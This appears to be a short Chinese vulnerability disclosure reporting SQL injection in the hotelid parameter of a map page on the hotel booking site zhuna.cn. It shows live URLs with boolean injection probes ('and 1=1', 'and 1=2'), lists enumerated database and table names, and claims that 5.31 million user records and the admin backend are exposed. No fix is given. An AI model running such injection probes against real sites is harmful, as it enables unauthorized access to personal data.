住哪网SQL注射可造成531万用户信息泄漏下载

1）测试注射点如下，存在注入的参数：hotelid;

 

http://tuan2.zhuna.cn/book/map.php?blat=39.94027964&blng=116.4155094&hotelid=4685

http://tuan2.zhuna.cn/book/map.php?blat=39.94027964&blng=116.4155094&hotelid=4685%20and%201=1

http://tuan2.zhuna.cn/book/map.php?blat=39.94027964&blng=116.4155094&hotelid=4685%20and%201=2

2)获取的部分数据库信息：

 

数据库：

master

tempdb

model

msdb

hotel_9tour_cn

www_zhuna_cn_yufu2

global_hotel

数据库hotel_9tour_cn的表信息：

couponClass 	

UnionCount

... 省略 ...

3)超过531万用户信息面临泄漏威胁；

后台也有了；

PS：未近一步深入测试！

修复方法：

大牛们，你们比俺更懂啊